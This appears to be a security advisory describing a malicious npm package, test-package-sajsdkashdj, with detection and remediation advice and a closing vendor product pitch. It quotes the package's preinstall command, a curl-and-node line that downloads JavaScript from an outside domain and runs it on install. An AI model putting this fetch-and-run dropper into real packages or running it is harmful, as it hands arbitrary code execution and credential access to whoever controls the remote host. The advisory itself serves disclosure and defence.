test-package-sajsdkashdjnpm
Advisory published Updated
test-package-sajsdkashdj is a confirmed malicious npm package (MAL-2026-6266) that executes malicious code on install (malicious versions 2.1.6, 2.1.7). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in test-package-sajsdkashdj (npm)
What this malware does
package.json declares a preinstall lifecycle script: "curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js". On every npm install, the package downloads JavaScript from poc.amanrawat.com and immediately executes it with node under the installer's privileges. The fetched content is unpinned, unhashed, served from a third-party non-publisher domain, and mutable — whoever controls poc.amanrawat.com can ship arbitrary code to every installer at any time. The package itself contains no functionality beyond this dropper. The package name (test-package-sajsdkashdj) and the fetch target (a path named hehe.js on a personal-looking domain) further indicate this is not a legitimate distribution mechanism.

Malicious packageFind it
Search your lockfiles and build artifacts for test-package-sajsdkashdj (2 malicious versions).
If you installed it — respond
Remove test-package-sajsdkashdj from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If test-package-sajsdkashdj was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks test-package-sajsdkashdj-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.
